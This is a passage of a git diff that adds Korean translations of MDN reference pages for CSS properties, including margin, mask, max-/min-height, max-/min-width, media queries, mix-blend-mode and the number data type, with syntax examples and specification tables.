더 많은 예제

+ +
margin: 5%;                 /* 모두 5% */
+
+margin: 10px;               /* 모두 10px */
+
+margin: 1.6em 20px;         /* 상하: 1.6em */
+                            /* 좌우: 20px  */
+
+margin: 10px 3% -1em;       /* 상: 10px */
+                            /* 좌우: 3% */
+                            /* 하: -1em */
+
+margin: 10px 3px 30px 5px;  /* 상: 10px */
+                            /* 우:  3px */
+                            /* 하: 30px */
+                            /* 좌:  5px */
+
+margin: 2em auto;           /* 상하: 2em */
+                            /* 수평 중앙정렬 */
+
+margin: auto;               /* 상하: 0 */
+                            /* 수평 중앙정렬 */
+ +

참고

+ +

수평 중앙정렬

+ +

현대 브라우저에서 어떤 요소를 중앙에 배치하려면 {{cssxref("display")}}: flex; {{cssxref("justify-content")}}: center;를 사용하면 됩니다.

+ +

하지만 플렉스 박스 레이아웃을 지원하지 않는 Internet Explorer 8-9 등 오래된 브라우저를 지원해야 하면 margin: 0 auto;를 대신 사용하세요.

+ +

여백 상쇄

+ +

두 개 요소의 위와 아래 여백은 종종 합쳐져 하나의 여백이 되고, 그 크기는 둘 중 더 큰 여백과 같아집니다. 더 자세한 정보는 여백 상쇄 정복을 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#margin', 'margin') }}{{ Spec2('CSS3 Box') }}No significant change
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}{{ Spec2('CSS3 Transitions') }}Defines margin as animatable.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}{{ Spec2('CSS2.1') }}Removes its effect on inline elements.
{{ SpecName('CSS1', '#margin', 'margin') }}{{ Spec2('CSS1') }}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.margin")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/mask/index.html b/files/ko/web/css/mask/index.html new file mode 100644 index 0000000000..ca23758e02 --- /dev/null +++ b/files/ko/web/css/mask/index.html @@ -0,0 +1,117 @@ +--- +title: mask +slug: Web/CSS/mask +tags: + - CSS + - CSS Property + - Layout + - Reference + - SVG + - Web +translation_of: Web/CSS/mask +--- +
{{CSSRef}}
+ +

mask CSS 속성은 아이템이 부분적으로만 보여지게 하거나 혹은 완전히 가려서 보여지지 않게 할 수 있는 기능을 가지고 있습니다. 이 속성은 마스킹 혹은 특정한 점을 기준으로 이미지를 잘라내는 기능을 함께 제공합니다.

+ +
+

mask 는 {{cssxref("mask-border")}}를 초기값으로 재정의합니다. 그러므로 캐스캐이드 이전 단계에 어떠한 마스크 설정을 덮어씌우는 개별 속성아니 여타 다른 속성보다는 mask 를 사용하는 것을 추천합니다. This will ensure that mask-border has also been reset to allow the new styles to take effect.

+
+ +

{{cssinfo}}

+ +

구문

+ +
/* 키워드 값 */
+mask: none;
+
+/* 이미지 값 */
+mask: url(mask.png);                       /* 마스크로 사용되는 이미지 */
+mask: url(masks.svg#star);                 /* 마스크로 사용되는 SVG 그래픽 내 요소 */
+
+/* 조합형 값 */
+mask: url(masks.svg#star) luminance;       /* 밝기 조절용 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 40px 20px;       /* 위로부터 40px, 아래부터 20px에 위치하는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 0 0/50px 50px;   /* 가로, 세로 각각 50px 사이즈의 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) repeat-x;        /* 수평으로 반복되는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) stroke-box;      /* Element within SVG graphic used as mask extending to the box enclosed by the stroke */
+mask: url(masks.svg#star) exclude;         /* Element within SVG graphic used as mask and combined with background using non-overlapping parts */
+
+/* 글로벌 값 */
+mask: inherit;
+mask: initial;
+mask: unset;
+
+ +

+ +
+
<mask-reference>
+
마스크 이미지 파일 설정하기. {{cssxref("mask-image")}}를 확인하세요.
+
<masking-mode>
+
마스크 이미지의 마스킹 모드 설정하기. {{cssxref("mask-mode")}}를 확인하세요.
+
<position>
+
마스크 이미지의 위치 설정하기. {{cssxref("mask-position")}}를 확인하세요.
+
<bg-size>
+
마스크 이미지의 크기 설정하기. {{cssxref("mask-size")}}를 확인하세요.
+
<repeat-style>
+
마스크 이미지의 반복 설정하기. See {{cssxref("mask-repeat")}}를 확인하세요.
+
<geometry-box>
+
단 하나의 <geometry-box> 값만 주어진다면 {{cssxref("mask-origin")}}와(과)( {{cssxref("mask-clip")}} 모두 같은 값으로 설정하는 것을 의미합니다. 두개의<geometry-box> 값이 주어진다면 첫번째 값은 {{cssxref("mask-origin")}}을(를), 두번쨰 값은 {{cssxref("mask-clip")}}를 설정하는 것을 의미합니다.
+
<geometry-box> | no-clip
+
마스크 이미지에 영향을 받는 구역을 설정하기. {{cssxref("mask-clip")}}를 확인하세요.
+
<compositing-operator>
+
현재 마스크 레이어 위의 합성 설정하기. {{cssxref("mask-composite")}}를 확인하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.target {
+  mask: url(#c1) luminance;
+}
+
+.anothertarget {
+  mask: url(resources.svg#c1) 50px 30px/10px 10px repeat-x exclude;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Masks", "#the-mask", 'mask')}}{{Spec2("CSS Masks")}}Extends its usage to HTML elements.
+ Extends its syntax by making it a shorthand for the new mask-* properties defined in that specification.
{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}{{Spec2('SVG1.1')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("css.properties.mask")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/max-height/index.html b/files/ko/web/css/max-height/index.html new file mode 100644 index 0000000000..3c2dfc18de --- /dev/null +++ b/files/ko/web/css/max-height/index.html @@ -0,0 +1,127 @@ +--- +title: max-height +slug: Web/CSS/max-height +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/max-height +--- +
{{CSSRef}}
+ +

max-height CSS 속성은 요소의 최대 높이를 설정합니다. max-height는 {{cssxref("height")}} 속성의 사용값이 자신의 값보다 커지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/max-height.html")}}
+ + + +

max-height가 {{cssxref("height")}}를 재설정하고, {{cssxref("min-height")}}가 max-height를 재설정합니다.

+ +

구문

+ +
/* <length> 값 */
+max-height: 3.5em;
+
+/* <percentage> 값 */
+max-height: 75%;
+
+/* 키워드 값 */
+max-height: none;
+max-height: max-content;
+max-height: min-content;
+max-height: fit-content;
+max-height: fill-available;
+
+/* 전역 값 */
+max-height: inherit;
+max-height: initial;
+max-height: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 높이.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 높이에 대한 백분율로 나타낸 최대 높이.
+
+ +

키워드 값

+ +
+
none
+
최대 높이를 정하지 않음.
+
max-content {{experimental_inline()}}
+
본질적인 선호 높이.
+
min-content {{experimental_inline()}}
+
본질적인 최소 높이.
+
fill-available {{experimental_inline()}}
+
컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{experimental_inline()}}
+
max-content와 동일.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
table { max-height: 75%; }
+
+form { max-height: none; }
+
+ +

접근성 참고사항

+ +

페이지의 확대 또는 글씨 크기를 키운 후에도 max-height를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-height') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-height') }}{{ Spec2('CSS3 Transitions') }}Defines max-height as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'max-height') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.max-height")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문, {{cssxref("box-sizing")}}
  • +
  • {{cssxref("height")}}, {{cssxref("min-height")}}
  • +
diff --git a/files/ko/web/css/max-width/index.html b/files/ko/web/css/max-width/index.html new file mode 100644 index 0000000000..92f8727cbf --- /dev/null +++ b/files/ko/web/css/max-width/index.html @@ -0,0 +1,173 @@ +--- +title: max-width +slug: Web/CSS/max-width +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/max-width +--- +
{{CSSRef}}
+ +

max-width CSS 속성은 요소의 최대 너비를 설정합니다. max-width는 {{cssxref("width")}} 속성의 사용값이 자신의 값보다 커지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/max-width.html")}}
+ + + +

max-width가 {{cssxref("width")}}를 재설정하고, {{cssxref("min-height")}}가 max-width를 재설정합니다.

+ +

구문

+ +
/* <length> 값 */
+max-width: 3.5em;
+
+/* <percentage> 값 */
+max-width: 75%;
+
+/* 키워드 값 */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* 전역 값 */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 너비.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 너비에 대한 백분율로 나타낸 최대 너비.
+
+ +

키워드 값

+ +
+
none
+
최대 너비를 정하지 않음.
+
max-content {{experimental_inline()}}
+
본질적인 선호 높이.
+
min-content {{experimental_inline()}}
+
본질적인 최소 높이.
+
fill-available {{experimental_inline()}}
+
컨테이닝 블록의 높이에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{experimental_inline()}}
+
max-content와 동일.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

다음 예제에서, 자식(child) 요소의 너비는 150픽셀과 부모(parent) 요소의 너비 중 더 작은 값이 됩니다.

+ +
+
<div id="parent">
+  <div id="child">
+    Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
+  </div>
+</div>
+
+ +
#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child {
+  background: gold;
+  width: 100%;
+  max-width: 150px;
+}
+
+
+ +

{{EmbedLiveSample("basic-max-width-demo", 350, 100)}}

+ +

fit-content 값을 사용하여 해당 요소의 내용이 필요로 하는 너비만 차지하도록 설정할 수 있습니다.

+ +
+ + +
#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child  {
+  background: gold;
+  width: 100%;
+  max-width: -moz-fit-content;
+  max-width: -webkit-fit-content;
+}
+
+
+ +

{{EmbedLiveSample("fit-content-demo", 400, 100)}}

+ +

접근성 고려사항

+ +

페이지의 확대 또는 글씨 크기를 키운 후에도 max-width를 설정한 요소의 내용이 잘리거나, 다른 요소를 가리지 않도록 주의하세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-width') }}{{ Spec2('CSS3 Transitions') }}Defines max-width as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.max-width")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문
  • +
  • {{cssxref("box-sizing")}}, {{cssxref("width")}}, {{ Cssxref("min-width") }}
  • +
diff --git a/files/ko/web/css/media_queries/index.html b/files/ko/web/css/media_queries/index.html new file mode 100644 index 0000000000..c3f4e87226 --- /dev/null +++ b/files/ko/web/css/media_queries/index.html @@ -0,0 +1,103 @@ +--- +title: 미디어 쿼리 +slug: Web/CSS/Media_Queries +tags: + - CSS + - CSS 미디어 쿼리 + - Media Queries + - Overview + - Reference + - 미디어 쿼리 + - 반응형 디자인 +translation_of: Web/CSS/Media_Queries +--- +
{{CSSRef}}
+ +

미디어 쿼리는 다양한 기기 특성과 파라메터의 존재 여부에 따라 사이트, 혹은 앱을 조정할 수 있습니다.

+ +

미디어 쿼리는 반응형 디자인의 핵심 구성 요소입니다. 예를 들어, 미디어 쿼리는 작은 기기에 맞춰 폰트 사이즈를 줄어들게 하거나, 세로 모드(portrait mode)일 때 단락의 패딩 값을 증가시킬 수도 있습니다. 혹은 터치 스크린에서 버튼 사이즈를 키울 수도 있습니다.

+ +

CSS에서는 {{cssxref("@media")}} @규칙을 사용해서 스타일 시트의 일부를 조건부로 적용합니다. 이 스타일 시트는 미디어 쿼리의 결과에 기반한 스타일 시트입니다. {{cssxref("@import")}}를 사용해서 조건부로 전체 스타일시트를 적용해보세요.

+ +

HTML에서의 미디어 쿼리

+ +

HTML에서 미디어 쿼리는 다양한 요소에 적용될 수 있습니다.:

+ +
    +
  • {{HTMLElement("link")}} 요소의 {{htmlattrxref("media", "link")}} 속성에서는, 링크된 리소스 (일반적으로 CSS)가 적용되어야하는 미디어를 정의합니다.
  • +
  • {{HTMLElement("source")}} 요소의 {{htmlattrxref("media", "source")}} 속성에서는, 해당 소스가 적용되어야하는 미디어를 정의합니다. (이건 {{HTMLElement("picture")}} 요소 안에서만 유효합니다.)
  • +
  • {{HTMLElement("style")}} 요소의 {{htmlattrxref("media", "style")}} 속성에서는, 스타일이 적용되어야하는 미디어를 정의합니다.
  • +
+ +

JavaScript에서의 미디어 쿼리

+ +

JavaScript에서는, {{domxref("Window.matchMedia()")}} 메소드로 미디어 쿼리를 테스트할 수 있습니다. {{domxref("MediaQueryList.addListener()")}} 메소드를 사용하면 쿼리가 변경될 때마다 사이트나 앱에서 알림을 받을 수도 있습니다. 이러한 기능을 사용하면, 사이트나 앱이 기기 구성, 방향 또는 상태의 변화에 따라 응답할 수도 있습니다.

+ +

Testing media queries에서 프로그래밍 방식으로 미디어 쿼리를 사용하는 방법에 대해 자세히 배워보세요.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@import")}}
  • +
  • {{cssxref("@media")}}
  • +
+
+ +

안내서

+ +
+
미디어 쿼리 사용하기
+
미디어 쿼리 표현식을 구성하는데 사용되는 미디어 쿼리, 구문 및 연산자와 미디어 기능을 소개합니다.
+
프로그래밍 방식으로 미디어 쿼리 테스트하기
+
자바스크립트 코드에서 어떻게 미디어 쿼리를 사용해 디바이스의 상태를 확인하는지, 그리고 미디어 쿼리가 변경될 때(사용자가 화면을 회전시키거나 브라우저를 리사이즈 할 때와 같은 상황)마다 알림을 보내기 위해 어떻게 리스너를 설정하는지에 대해 설명합니다.
+
접근성을 위한 미디어 쿼리
+
미디어 쿼리를 사용해 사용자가 웹사이트를 더 잘 이해할 수 있게 만들어보세요.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}} 
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Initial definition
+ +

같이 보기

+ +
    +
  • {{cssxref("@supports")}} 를 사용하면 브라우저가 지원하는 다양한 CSS 기술들에 대한 스타일을 적용할 수 있습니다.
  • +
diff --git a/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html new file mode 100644 index 0000000000..d48d431b7d --- /dev/null +++ b/files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html @@ -0,0 +1,93 @@ +--- +title: 접근성을 위한 미디어 쿼리 사용하기 +slug: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility +tags: + - '@media' + - CSS + - 미디어 속성 + - 접근성 +translation_of: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility +--- +

미디어쿼리(Media Queries)는 장애를 가진 사용자가 웹사이트를 더 쉽게 이해할 수 있도록 도울 수 있습니다.

+ +

애니메이션 동작 축소하기(Reduced Motion)

+ +

깜빡이거나 반짝이는 애니메이션은 주의력결핍 과잉행동증후군(注意力缺乏過剩行動症候群 : ADHD)와 같은 인식장애를 가진 사람들에게 문제가 될 수 있다. 이러한 종류의 애니메이션 동작들은 시력 장애, 간질이나 편두통과 암소시성 민감증을 유발할 수 있습니다.

+ +

또한, 이 애니메이션 동작을 줄이는.방법을 통해 배터리가 부족한 사람이나 보급형 스마트폰 및 컴퓨터를 사용하는 사람들에게 도음을 줄 수 있습니다.

+ +

문법

+ +
+
no-preference
+
사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않았을 경우에 적용될 스타일을 나타냅니다.
+
reduce
+
사용자가 디바이스에서 애니메이션 축소와 관련된 기능을 설정하였을 경우에 적용될 스타일을 나타냅니다.
+
+ +

예제

+ +

이 예시는 디바이스에서 애니메이션 축소와 관련된 기능을 설정하지 않으면 애니메이션 효과가 축소되지 않습니다.

+ +

HTML

+ +
<div class="animation">animated box</div>
+
+ +

CSS

+ +
.animation {
+  -webkit-animation: vibrate 0.3s linear infinite both;
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+    animation: none;
+  }
+}
+
+ +

고대비 모드 (High Contrast Mode)

+ +
{{CSSRef}}{{Non-standard_header}}
+ +

-ms-high-contrast CSS media 속성은 애플리케이션이 고대비 모드로 표시되고 있는지의 여부에따라 어떤 색상으로 웹사이트를 표시할 지를 정의하는 Microsoft 확장기능입니다.

+ +

 이 미디어 속성은 저시력 사용자나 대비에 민감한 문제가 있는 사람뿐만 아니라 직사광선 아래에서 컴퓨터나 휴대폰을 사용하는 사람에게도 도움이 됩니다.

+ +

문법

+ +

-ms-high-contrast 미디어 속성(Media Feature)은 다음 값 중 하나를 지정하여 사용할 수 있습니다.

+ +

속성값

+ +
+
active
+
+

시스템이 색상과 관계없이 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.

+
+
black-on-white
+
+

시스템이 검은색-흰 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.

+
+
white-on-black
+
+

시스템이 흰 색-검은 색 고대비 모드로 변경되었을 때 후속 스타일링 규칙이 적용됨을 나타냅니다.

+
+
+ +

예제

+ +

다음 선언된 스타일들은 시스템과 애플리케이션에서 고대비 모드의 색상 변화에 따라 스타일을 일치시켜줍니다.

+ +
@media screen and (-ms-high-contrast: active) {
+  /* 모든 고대비 모드에 대한 스타일 규칙입니다 */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+  div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+  div { background-image: url('image-wb.png'); }
+}
+
diff --git a/files/ko/web/css/min-height/index.html b/files/ko/web/css/min-height/index.html new file mode 100644 index 0000000000..80c27230af --- /dev/null +++ b/files/ko/web/css/min-height/index.html @@ -0,0 +1,123 @@ +--- +title: min-height +slug: Web/CSS/min-height +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/min-height +--- +
{{CSSRef}}
+ +

max-height CSS 속성은 요소의 최소 높이를 설정합니다. min-height는 {{cssxref("height")}} 속성의 사용값이 자신의 값보다 작아지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/min-height.html")}}
+ + + +

min-height가 {{cssxref("max-height")}} 또는 {{cssxref("height")}}보다 커지면 요소의 높이는 min-height의 값을 사용합니다.

+ +

구문

+ +
/* <length> 값 */
+min-height: 3.5em;
+
+/* <percentage> 값 */
+min-height: 10%;
+
+/* 키워드 값 */
+min-height: max-content;
+min-height: min-content;
+min-height: fit-content;
+min-height: fill-available;
+
+/* 전역 값 */
+min-height: inherit;
+min-height: initial;
+min-height: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 높이에 대한 백분율로 나타낸 최대 높이. 음수 값은 유효하지 않습니다.
+
+ +

키워드 값

+ +
+
auto
+
최소 높이를 정하지 않음.
+
+ +
+
max-content {{ experimental_inline() }}
+
본질적인 선호 높이.
+
min-content {{ experimental_inline() }}
+
본질적인 최소 높이.
+
fill-available {{ experimental_inline() }}
+
컨테이닝 블록의 높이에서 세로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{ experimental_inline() }}
+
CSS3 Box 모듈에 따라 min-content의 다른 이름. CSS3 Sizing 모듈은 더 복잡한 알고리즘을 정의하지만, 모든 브라우저에서 실험 기능으로도 구현하지 않습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
table { min-height: 75%; }
+
+form { min-height: 0; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-height') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Flexbox', '#min-auto', 'min-height') }}{{ Spec2('CSS3 Flexbox') }}Adds the auto keyword and uses it as the initial value.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-height') }}{{ Spec2('CSS3 Transitions') }}Defines min-height as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'min-height') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.min-height")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문, {{cssxref("box-sizing")}}
  • +
  • {{ Cssxref("height") }}, {{ Cssxref("max-height") }}
  • +
diff --git a/files/ko/web/css/min-width/index.html b/files/ko/web/css/min-width/index.html new file mode 100644 index 0000000000..50bab2c8d9 --- /dev/null +++ b/files/ko/web/css/min-width/index.html @@ -0,0 +1,122 @@ +--- +title: min-width +slug: Web/CSS/min-width +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/min-width +--- +
{{CSSRef}}
+ +

min-width CSS 속성은 요소의 최소 너비를 설정합니다. min-width는 {{cssxref("width")}} 속성의 사용값이 자신의 값보다 작아지는걸 방지합니다.

+ +
{{EmbedInteractiveExample("pages/css/min-width.html")}}
+ + + +

min-width가 {{cssxref("max-width")}} 또는 {{cssxref("width")}}보다 커지면 요소의 높이는 min-width의 값을 사용합니다.

+ +

구문

+ +
/* <length> 값 */
+min-width: 3.5em;
+
+/* <percentage> 값 */
+min-width: 10%;
+
+/* 키워드 값 */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* 전역 값 */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
고정 길이로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 너비에 대한 백분율로 나타낸 최대 너비. 음수 값은 유효하지 않습니다.
+
+ +

키워드 값

+ +
+
auto
+
최소 너비를 정하지 않음.
+
max-content {{ experimental_inline() }}
+
본질적인 선호 높이.
+
min-content {{ experimental_inline() }}
+
본질적인 최소 높이.
+
fill-available{{ experimental_inline() }}
+
컨테이닝 블록의 너비에서 가로축 안쪽 및 바깥 여백과 테두리의 공간을 제외한 높이. (일부 브라우저는 매우 오래 된 이름인 available로 구현함을 참고하세요.)
+
fit-content {{ experimental_inline() }}
+
min(max-content, max(min-content, fill-available))과 같음.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
table { min-width: 75%; }
+
+form { min-width: 0; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width') }}{{ Spec2('CSS3 Sizing') }}Adds the max-content, min-content, fit-content, and fill-available keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.)
{{ SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width') }}{{ Spec2('CSS3 Flexbox') }}Adds the auto keyword and uses it as the initial value.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-width') }}{{ Spec2('CSS3 Transitions') }}Defines min-width as animatable.
{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width') }}{{ Spec2('CSS2.1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.min-width")}}

+ +

같이 보기

+ +
    +
  • 박스 모델 입문, {{cssxref("box-sizing")}}
  • +
  • {{ Cssxref("width") }}, {{ Cssxref("max-width") }}
  • +
diff --git a/files/ko/web/css/mix-blend-mode/index.html b/files/ko/web/css/mix-blend-mode/index.html new file mode 100644 index 0000000000..069bb0122f --- /dev/null +++ b/files/ko/web/css/mix-blend-mode/index.html @@ -0,0 +1,651 @@ +--- +title: mix-blend-mode +slug: Web/CSS/mix-blend-mode +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/mix-blend-mode +--- +
{{CSSRef}}
+ +

mix-blend-mode CSS 속성은 어느 요소의 콘텐츠가 자신의 배경 및 부모와 어떻게 혼합되어야 하는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* 전역 값 */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+
+ +

+ +
+
{{cssxref("<blend-mode>")}}
+
적용할 혼합 모드.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ + + +
{{EmbedLiveSample("mix-blend-mode", "100%", 1600, "", "", "example-outcome-frame")}}
+ +

HTML 예제

+ +
<div class="isolate">
+  <div class="circle circle-1"></div>
+  <div class="circle circle-2"></div>
+  <div class="circle circle-3"></div>
+</div>
+ +
.circle {
+  width: 80px;
+  height: 80px;
+  border-radius: 50%;
+  mix-blend-mode: screen;
+  position: absolute;
+}
+
+.circle-1 {
+  background: red;
+}
+
+.circle-2 {
+  background: lightgreen;
+  left: 40px;
+}
+
+.circle-3 {
+  background: blue;
+  left: 20px;
+  top: 40px;
+}
+
+.isolate {
+  isolation: isolate; /* Without isolation, the background color will be taken into account */
+  position: relative;
+}
+ +

{{EmbedLiveSample("HTML_예제", "100%", "180")}}

+ +

SVG 예제

+ +

다음은 이전의 예제를 SVG로 구현한 것입니다.

+ +
<svg>
+  <g class="isolate">
+    <circle cx="40" cy="40" r="40" fill="red"/>
+    <circle cx="80" cy="40" r="40" fill="lightgreen"/>
+    <circle cx="60" cy="80" r="40" fill="blue"/>
+  </g>
+</svg>
+ +
circle { mix-blend-mode: screen; }
+.isolate { isolation: isolate; } /* Without isolation, the background color will be taken into account */
+
+ +

{{EmbedLiveSample("SVG_예제", "100%", "180")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode') }}{{ Spec2('Compositing') }}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.mix-blend-mode")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<blend-mode>")}}
  • +
  • {{cssxref("background-blend-mode")}}
  • +
diff --git a/files/ko/web/css/number/index.html b/files/ko/web/css/number/index.html new file mode 100644 index 0000000000..cc336a6ec2 --- /dev/null +++ b/files/ko/web/css/number/index.html @@ -0,0 +1,85 @@ +--- +title: +slug: Web/CSS/number +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web +translation_of: Web/CSS/number +--- +
{{CSSRef}}
+ +

<number> CSS 자료형은 숫자, 즉 정수 또는 실수를 표현합니다.

+ +

구문

+ +

<number> 구문은 {{cssxref("<integer>")}} 구문을 확장합니다. 소수점 이하 값은 . 뒤로 한 개 이상의 10진수 숫자를 붙여 표현하며, 정수 뒤에 이어 붙일 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.

+ +

보간

+ +

애니메이션에서 <number> 자료형의 값은 유동소수점 실수를 사용해 보간합니다. 보간의 속도는 애니메이션과 연결된 timing function이 결정합니다.

+ +

예제

+ +

유효한 숫자

+ +
12          <integer>는 <number>
+4.01        양의 실수
